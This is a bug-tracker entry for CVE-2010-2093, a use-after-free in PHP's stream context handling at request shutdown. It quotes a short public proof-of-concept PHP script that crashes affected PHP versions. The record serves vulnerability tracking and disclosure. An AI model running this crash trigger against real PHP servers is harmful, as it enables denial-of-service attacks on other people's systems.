Bug 598474 (CVE-2010-2093, MOPS-2010-022)

Common Vulnerabilities and Exposures assigned an identifier CVE-2010-2093 to
the following vulnerability:

Use-after-free vulnerability in the request shutdown functionality in
PHP 5.2 before 5.2.13 and 5.3 before 5.3.2 allows context-dependent
attackers to cause a denial of service (crash) via a stream context
structure that is freed before destruction occurs.

References:
  [1] http://php-security.org/2010/05/12/mops-2010-022-php-stream-context-use-after-free-on-request-shutdown-vulnerability/index.html

Public PoC (from [1]):

<?php
     $blah = fopen('/dev/zero','a');
     $arr = array();
     for ( $i = 0 ; $i < 5000 ; $i++ ) {
       $arr[$i] = "";
     }
     stream_context_get_options($blah);
     $a88 = fread($blah,100000000000);
  ?>

Credit: Mateusz Kocielski